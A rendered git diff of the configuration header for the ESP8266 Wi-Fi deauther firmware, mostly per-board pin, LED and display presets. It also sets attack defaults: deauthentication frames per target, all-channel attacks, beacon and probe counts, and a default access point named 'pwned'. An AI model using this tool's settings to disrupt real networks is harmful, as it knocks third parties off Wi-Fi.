//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
|
@ -1,21 +0,0 @@
|
|||
# Default Config
|
||||
Default configuration for all boards without using a display or RGB LED.
|
||||
The display can be enabled over the settings.
|
||||
|
||||
| | |
|
||||
| - | - |
|
||||
| LED Type | Digital |
|
||||
| LED R | GPIO 2 |
|
||||
| LED G | disabled |
|
||||
| LED B | GPIO 16 |
|
||||
| Display and buttons enabled | NO |
|
||||
| Display Driver | SSD1306 |
|
||||
| Display SDA | GPIO 5 (D1) |
|
||||
| Display SCL | GPIO 4 (D2) |
|
||||
| Flip Display | NO |
|
||||
| Button Up |GPIO 14 (D5) |
|
||||
| Button Down | GPIO 12 (D6) |
|
||||
| Button Left | disabled |
|
||||
| Button Right | disabled |
|
||||
| Button A | GPIO 13 (D7) |
|
||||
| Button B |disabled |
|
|
@ -1,4 +0,0 @@
|
|||
Here you find a bunch of modified config files for different boards.
|
||||
Those are meant to be copy and replaced in the Arduino sektch.
|
||||
|
||||
The default config should be fine for all boards that don't have a display or a RGB LED (like the NodeMCU).
|
|
@ -1,81 +1,730 @@
|
|||
#ifndef config_h
|
||||
#define config_h
|
||||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
#pragma once
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
//#define NEOPIXEL_LED
|
||||
#define ENABLE_DEBUG
|
||||
#define DEBUG_PORT Serial
|
||||
#define DEBUG_BAUD 115200
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
// === Settings for Digital LED === //
|
||||
#define LED_ENABLE_R true
|
||||
#define LED_ENABLE_G false
|
||||
#define LED_ENABLE_B true
|
||||
#define DEFAULT_ESP8266
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_CATHODE false // common ground (GND)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 0
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
// #define NODEMCU
|
||||
// #define WEMOS_D1_MINI
|
||||
// #define HACKHELD_VEGA
|
||||
// #define DISPLAY_EXAMPLE_I2C
|
||||
// #define DISPLAY_EXAMPLE_SPI
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
|
||||
// #define MALTRONICS
|
||||
// #define DSTIKE_DEAUTHER_V1
|
||||
// #define DSTIKE_DEAUTHER_V2
|
||||
// #define DSTIKE_DEAUTHER_V3
|
||||
// #define DSTIKE_DEAUTHER_V3_5
|
||||
// #define DSTIKE_D_DUINO_B_V5_LED_RING
|
||||
// #define DSTIKE_DEAUTHER_BOY
|
||||
// #define DSTIKE_NODEMCU_07
|
||||
// #define DSTIKE_NODEMCU_07_V2
|
||||
// #define DSTIKE_DEAUTHER_OLED
|
||||
// #define DSTIKE_DEAUTHER_OLED_V1_5_S
|
||||
// #define DSTIKE_DEAUTHER_OLED_V1_5
|
||||
// #define DSTIKE_DEAUTHER_OLED_V2
|
||||
// #define DSTIKE_DEAUTHER_OLED_V2_5
|
||||
// #define DSTIKE_DEAUTHER_OLED_V3
|
||||
// #define DSTIKE_DEAUTHER_OLED_V3_5
|
||||
// #define DSTIKE_DEAUTHER_OLED_V4
|
||||
// #define DSTIKE_DEAUTHER_OLED_V5
|
||||
// #define DSTIKE_DEAUTHER_OLED_V6
|
||||
// #define DSTIKE_DEAUTHER_MOSTER
|
||||
// #define DSTIKE_DEAUTHER_MOSTER_V2
|
||||
// #define DSTIKE_DEAUTHER_MOSTER_V3
|
||||
// #define DSTIKE_DEAUTHER_MOSTER_V4
|
||||
// #define DSTIKE_DEAUTHER_MOSTER_V5
|
||||
// #define DSTIKE_USB_DEAUTHER
|
||||
// #define DSTIKE_USB_DEAUTHER_V2
|
||||
// #define DSTIKE_DEAUTHER_WATCH
|
||||
// #define DSTIKE_DEAUTHER_WATCH_V2
|
||||
// #define DSTIKE_DEAUTHER_MINI
|
||||
// #define DSTIKE_DEAUTHER_MINI_EVO
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
// if it doesn't work try changing NEO_GRB to NEO_GRBW
|
||||
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
|
||||
// #define LYASI_7W_E27_LAMP
|
||||
// #define AVATAR_5W_E14_LAMP
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY true // default display setting
|
||||
// Forces formatting of SPIFFS and EEPROM ot startup
|
||||
// #define FORMAT_SPIFFS
|
||||
// #define FORMAT_EEPROM
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
// Forces a reset of all settings at startup
|
||||
// #define RESET_SETTINGS
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
// ========== CONFIGS ========== //
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
*/
|
||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
// https://github.com/spacehuhntech/hackheld
|
||||
#if defined(HACKHELD_VEGA)
|
||||
// ===== LED ===== //
|
||||
#define USE_LED true
|
||||
#define LED_NEOPIXEL
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
|
||||
#define LED_NEOPIXEL_GRB
|
||||
// #define LED_NEOPIXEL_RGB
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#endif
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15 // D8
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define USE_DISPLAY true
|
||||
#define FLIP_DIPLAY true
|
||||
|
||||
#define SH1106_I2C
|
||||
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 4 // D2
|
||||
#define I2C_SCL 5 // D1
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 14 // D5
|
||||
#define BUTTON_DOWN 12 // D6
|
||||
#define BUTTON_A 2 // D4
|
||||
#define BUTTON_B 0 // D3
|
||||
|
||||
// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-i2c-oled
|
||||
#elif defined(DISPLAY_EXAMPLE_I2C)
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
// #define SSD1306_I2C
|
||||
|
||||
#define I2C_ADDR 0x3C
|
||||
#define I2C_SDA 5
|
||||
#define I2C_SCL 4
|
||||
|
||||
// #define FLIP_DIPLAY true
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 14
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 13
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
// #define LED_NEOPIXEL_RGB
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
|
||||
// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-spi-oled
|
||||
#elif defined(DISPLAY_EXAMPLE_SPI)
|
||||
|
||||
#define SH1106_SPI
|
||||
// #define SSD1306_SPI
|
||||
|
||||
#define SPI_RES 5
|
||||
#define SPI_DC 4
|
||||
#define SPI_CS 15
|
||||
|
||||
// #define FLIP_DIPLAY true
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 0
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 2
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
// #define LED_NEOPIXEL_RGB
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 9
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#elif defined(MALTRONICS)
|
||||
|
||||
// ===== Reset ====== //
|
||||
#define RESET_BUTTON 5
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_DOTSTAR
|
||||
#define LED_NUM 1
|
||||
#define LED_DOTSTAR_CLK 12
|
||||
#define LED_DOTSTAR_DATA 13
|
||||
#define LED_MODE_BRIGHTNESS 255
|
||||
|
||||
// ===== Web ===== //
|
||||
#define WEB_IP_ADDR (192, 168, 4, 2)
|
||||
#define WEB_URL "deauther.tools"
|
||||
|
||||
#elif defined(DSTIKE_D_DUINO_B_V5_LED_RING)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 12
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_BOY)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 10
|
||||
#define BUTTON_DOWN 9
|
||||
#define BUTTON_A 14
|
||||
#define BUTTON_B 12
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_V3_5) || defined(DSTIKE_NODEMCU_07_V2)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_OLED_V1_5_S)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_OLED) || defined(DSTIKE_DEAUTHER_OLED_V1_5)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_DIGITAL
|
||||
|
||||
#define LED_PIN_R 16
|
||||
#define LED_PIN_B 2
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SSD1306_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_OLED_V2) || defined(DSTIKE_DEAUTHER_OLED_V2_5) || defined(DSTIKE_DEAUTHER_OLED_V3)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_DIGITAL
|
||||
|
||||
#define LED_PIN_R 16
|
||||
#define LED_PIN_B 2
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_OLED_V3_5) || defined(DSTIKE_DEAUTHER_OLED_V4) || defined(DSTIKE_DEAUTHER_OLED_V5) || defined(DSTIKE_DEAUTHER_MOSTER) || defined(DSTIKE_DEAUTHER_MOSTER_V2) || defined(DSTIKE_DEAUTHER_MOSTER_V3) || defined(DSTIKE_DEAUTHER_MOSTER_V4)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_OLED_V6) || defined(DSTIKE_DEAUTHER_MOSTER_V5)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
#define HIGHLIGHT_LED 16
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
#define RTC_DS3231
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_USB_DEAUTHER_V2)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 4
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_WATCH) || defined(DSTIKE_DEAUTHER_MINI)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
#define HIGHLIGHT_LED 16
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(DSTIKE_DEAUTHER_WATCH_V2) || defined(DSTIKE_DEAUTHER_MINI_EVO)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_NEOPIXEL_GRB
|
||||
#define LED_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
|
||||
#define HIGHLIGHT_LED 16
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
#define SH1106_I2C
|
||||
#define FLIP_DIPLAY true
|
||||
#define DISPLAY_TEXT "Hardware by DSTIKE"
|
||||
|
||||
#define RTC_DS3231
|
||||
|
||||
// ===== BUTTONS ===== //
|
||||
#define BUTTON_UP 12
|
||||
#define BUTTON_DOWN 13
|
||||
#define BUTTON_A 14
|
||||
|
||||
#elif defined(LYASI_7W_E27_LAMP)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_MY92
|
||||
|
||||
#define LED_MODE_OFF 0, 0, 0
|
||||
#define LED_MODE_SCAN 0, 0, 255
|
||||
#define LED_MODE_ATTACK 255, 0, 0
|
||||
#define LED_MODE_IDLE 0, 255, 0
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_MY92_DATA 4
|
||||
#define LED_MY92_CLK 5
|
||||
#define LED_MY92_CH_R 0
|
||||
#define LED_MY92_CH_G 1
|
||||
#define LED_MY92_CH_B 2
|
||||
#define LED_MY92_CH_BRIGHTNESS 3
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
|
||||
|
||||
#elif defined(AVATAR_5W_E14_LAMP)
|
||||
|
||||
// ===== LED ===== //
|
||||
#define LED_MY92
|
||||
|
||||
#define LED_MODE_OFF 0, 0, 0
|
||||
#define LED_MODE_SCAN 0, 0, 255
|
||||
#define LED_MODE_ATTACK 255, 0, 0
|
||||
#define LED_MODE_IDLE 0, 255, 0
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
|
||||
#define LED_NUM 1
|
||||
#define LED_MY92_DATA 13
|
||||
#define LED_MY92_CLK 15
|
||||
#define LED_MY92_CH_R 0
|
||||
#define LED_MY92_CH_G 1
|
||||
#define LED_MY92_CH_B 2
|
||||
#define LED_MY92_CH_BRIGHTNESS 3
|
||||
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
|
||||
|
||||
#elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3)
|
||||
// ===== LED ===== //
|
||||
// #define LED_DIGITAL
|
||||
// #define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
// #define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
#endif /* if defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) */
|
||||
// ============================== //
|
||||
|
||||
|
||||
// ========= FALLBACK ========= //
|
||||
|
||||
// ===== AUTOSAVE ===== //
|
||||
#ifndef AUTOSAVE_ENABLED
|
||||
#define AUTOSAVE_ENABLED true
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
#ifndef AUTOSAVE_TIME
|
||||
#define AUTOSAVE_TIME 60
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
// ===== ATTACK ===== //
|
||||
#ifndef ATTACK_ALL_CH
|
||||
#define ATTACK_ALL_CH false
|
||||
#endif /* ifndef ATTACK_ALL_CH */
|
||||
|
||||
#ifndef RANDOM_TX
|
||||
#define RANDOM_TX false
|
||||
#endif /* ifndef RANDOM_TX */
|
||||
|
||||
#ifndef ATTACK_TIMEOUT
|
||||
#define ATTACK_TIMEOUT 600
|
||||
#endif /* ifndef ATTACK_TIMEOUT */
|
||||
|
||||
#ifndef DEAUTHS_PER_TARGET
|
||||
#define DEAUTHS_PER_TARGET 25
|
||||
#endif /* ifndef DEAUTHS_PER_TARGET */
|
||||
|
||||
#ifndef DEAUTH_REASON
|
||||
#define DEAUTH_REASON 1
|
||||
#endif /* ifndef DEAUTH_REASON */
|
||||
|
||||
#ifndef BEACON_INTERVAL_100MS
|
||||
#define BEACON_INTERVAL_100MS true
|
||||
#endif /* ifndef BEACON_INTERVAL_100MS */
|
||||
|
||||
#ifndef PROBE_FRAMES_PER_SSID
|
||||
#define PROBE_FRAMES_PER_SSID 1
|
||||
#endif /* ifndef PROBE_FRAMES_PER_SSID */
|
||||
|
||||
// ===== SNIFFER ===== //
|
||||
#ifndef CH_TIME
|
||||
#define CH_TIME 200
|
||||
#endif /* ifndef CH_TIME */
|
||||
|
||||
#ifndef MIN_DEAUTH_FRAMES
|
||||
#define MIN_DEAUTH_FRAMES 3
|
||||
#endif /* ifndef MIN_DEAUTH_FRAMES */
|
||||
|
||||
// ===== ACCESS POINT ===== //
|
||||
#ifndef AP_SSID
|
||||
#define AP_SSID "pwned"
|
||||
#endif /* ifndef AP_SSID */
|
||||
|
||||
#ifndef AP_PASSWD
|
||||
#define AP_PASSWD "deauther"
|
||||
#endif /* ifndef AP_PASSWD */
|
||||
|
||||
#ifndef AP_HIDDEN
|
||||
#define AP_HIDDEN false
|
||||
#endif /* ifndef AP_HIDDEN */
|
||||
|
||||
#ifndef AP_IP_ADDR
|
||||
#define AP_IP_ADDR { 192, 168, 4, 1 }
|
||||
#endif /* ifndef AP_IP_ADDR */
|
||||
|
||||
// ===== WEB INTERFACE ===== //
|
||||
#ifndef WEB_ENABLED
|
||||
#define WEB_ENABLED true
|
||||
#endif /* ifndef WEB_ENABLED */
|
||||
|
||||
#ifndef WEB_CAPTIVE_PORTAL
|
||||
#define WEB_CAPTIVE_PORTAL false
|
||||
#endif /* ifndef WEB_CAPTIVE_PORTAL */
|
||||
|
||||
#ifndef WEB_USE_SPIFFS
|
||||
#define WEB_USE_SPIFFS false
|
||||
#endif /* ifndef WEB_USE_SPIFFS */
|
||||
|
||||
#ifndef DEFAULT_LANG
|
||||
#define DEFAULT_LANG "en"
|
||||
#endif /* ifndef DEFAULT_LANG */
|
||||
|
||||
// ===== CLI ===== //
|
||||
#ifndef CLI_ENABLED
|
||||
#define CLI_ENABLED true
|
||||
#endif /* ifndef CLI_ENABLED */
|
||||
|
||||
#ifndef CLI_ECHO
|
||||
#define CLI_ECHO true
|
||||
#endif /* ifndef CLI_ECHO */
|
||||
|
||||
// =============== LED =============== //
|
||||
#if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB)
|
||||
#define LED_NEOPIXEL
|
||||
#endif /* if defined(LED_NEOPIXEL_RGB) || defined(LED_NEOPIXEL_GRB) */
|
||||
|
||||
#if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
|
||||
#define LED_DIGITAL
|
||||
#define USE_LED false
|
||||
#else // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
|
||||
#define USE_LED true
|
||||
#endif // if !defined(LED_DIGITAL) && !defined(LED_RGB) && !defined(LED_NEOPIXEL) && !defined(LED_MY92) && !defined(LED_DOTSTAR)
|
||||
|
||||
#ifndef LED_PIN_R
|
||||
#define LED_PIN_R 255
|
||||
#endif /* ifndef LED_PIN_R */
|
||||
|
||||
#ifndef LED_PIN_G
|
||||
#define LED_PIN_G 255
|
||||
#endif /* ifndef LED_PIN_G */
|
||||
|
||||
#ifndef LED_PIN_B
|
||||
#define LED_PIN_B 255
|
||||
#endif /* ifndef LED_PIN_B */
|
||||
|
||||
#ifndef LED_ANODE
|
||||
#define LED_ANODE false
|
||||
#endif /* ifndef LED_ANODE */
|
||||
|
||||
#ifndef LED_MODE_OFF
|
||||
#define LED_MODE_OFF 0, 0, 0
|
||||
#endif /* ifndef LED_MODE_OFF */
|
||||
|
||||
#ifndef LED_MODE_SCAN
|
||||
#define LED_MODE_SCAN 0, 0, 255
|
||||
#endif /* ifndef LED_MODE_SCAN */
|
||||
|
||||
#ifndef LED_MODE_ATTACK
|
||||
#define LED_MODE_ATTACK 255, 0, 0
|
||||
#endif /* ifndef LED_MODE_ATTACK */
|
||||
|
||||
#ifndef LED_MODE_IDLE
|
||||
#define LED_MODE_IDLE 0, 255, 0
|
||||
#endif /* ifndef LED_MODE_IDLE */
|
||||
|
||||
#ifndef LED_MODE_BRIGHTNESS
|
||||
#define LED_MODE_BRIGHTNESS 10
|
||||
#endif /* ifndef LED_MODE_BRIGHTNESS */
|
||||
|
||||
// =============== DISPLAY =============== //
|
||||
|
||||
#ifndef DISPLAY_TIMEOUT
|
||||
#define DISPLAY_TIMEOUT 600
|
||||
#endif /* ifndef DISPLAY_TIMEOUT */
|
||||
|
||||
#ifndef DISPLAY_TEXT
|
||||
#define DISPLAY_TEXT ""
|
||||
#endif /* ifndef DISPLAY_TEXT */
|
||||
|
||||
#ifndef FLIP_DIPLAY
|
||||
#define FLIP_DIPLAY false
|
||||
#endif /* ifndef FLIP_DIPLAY */
|
||||
|
||||
#if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI)
|
||||
#define SSD1306_I2C
|
||||
#define USE_DISPLAY false
|
||||
#else /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
|
||||
#define USE_DISPLAY true
|
||||
#endif /* if !defined(SSD1306_I2C) && !defined(SSD1306_SPI) && !defined(SH1106_I2C) && !defined(SH1106_SPI) */
|
||||
|
||||
#ifndef I2C_ADDR
|
||||
#define I2C_ADDR 0x3C
|
||||
#endif /* ifndef I2C_ADDR */
|
||||
|
||||
#ifndef I2C_SDA
|
||||
#define I2C_SDA 5
|
||||
#endif /* ifndef I2C_SDA */
|
||||
|
||||
#ifndef I2C_SCL
|
||||
#define I2C_SCL 4
|
||||
#endif /* ifndef I2C_SCL */
|
||||
|
||||
#ifndef SPI_RES
|
||||
#define SPI_RES 5
|
||||
#endif /* ifndef SPI_RES */
|
||||
|
||||
#ifndef SPI_DC
|
||||
#define SPI_DC 4
|
||||
#endif /* ifndef SPI_DC */
|
||||
|
||||
#ifndef SPI_CS
|
||||
#define SPI_CS 15
|
||||
#endif /* ifndef SPI_CS */
|
||||
|
||||
// =============== BUTTONS =============== //
|
||||
#ifndef BUTTON_UP
|
||||
#define BUTTON_UP 255
|
||||
#endif // ifndef BUTTON_UP
|
||||
|
||||
#ifndef BUTTON_DOWN
|
||||
#define BUTTON_DOWN 255
|
||||
#endif // ifndef BUTTON_DOWN
|
||||
|
||||
#ifndef BUTTON_A
|
||||
#define BUTTON_A 255
|
||||
#endif // ifndef BUTTON_A
|
||||
|
||||
#ifndef BUTTON_B
|
||||
#define BUTTON_B 255
|
||||
#endif // ifndef BUTTON_B
|
||||
|
||||
// ===== Reset ====== //
|
||||
#ifndef RESET_BUTTON
|
||||
#if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
|
||||
#define RESET_BUTTON 0
|
||||
#else // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
|
||||
#define RESET_BUTTON 255
|
||||
#endif // if BUTTON_UP != 0 && BUTTON_DOWN != 0 && BUTTON_A != 0 && BUTTON_B != 0
|
||||
#endif // ifndef RESET_BUTTON
|
||||
|
||||
// ===== Web ===== //
|
||||
#ifndef WEB_IP_ADDR
|
||||
#define WEB_IP_ADDR (192, 168, 4, 1)
|
||||
#endif // ifndef WEB_IP_ADDR
|
||||
|
||||
#ifndef WEB_URL
|
||||
#define WEB_URL "deauth.me"
|
||||
#endif // ifndef WEB_URL
|
||||
|
||||
// ======== CONSTANTS ========== //
|
||||
// Do not change these values unless you know what you're doing!
|
||||
#define DEAUTHER_VERSION "2.6.1"
|
||||
#define DEAUTHER_VERSION_MAJOR 2
|
||||
#define DEAUTHER_VERSION_MINOR 6
|
||||
#define DEAUTHER_VERSION_REVISION 1
|
||||
|
||||
#define EEPROM_SIZE 4095
|
||||
#define BOOT_COUNTER_ADDR 1
|
||||
#define SETTINGS_ADDR 100
|
||||
|
||||
// ======== AVAILABLE SETTINGS ========== //
|
||||
|
||||
|
||||
/*
|
||||
// ===== ATTACK ===== //
|
||||
#define ATTACK_ALL_CH false
|
||||
#define RANDOM_TX false
|
||||
#define ATTACK_TIMEOUT 600
|
||||
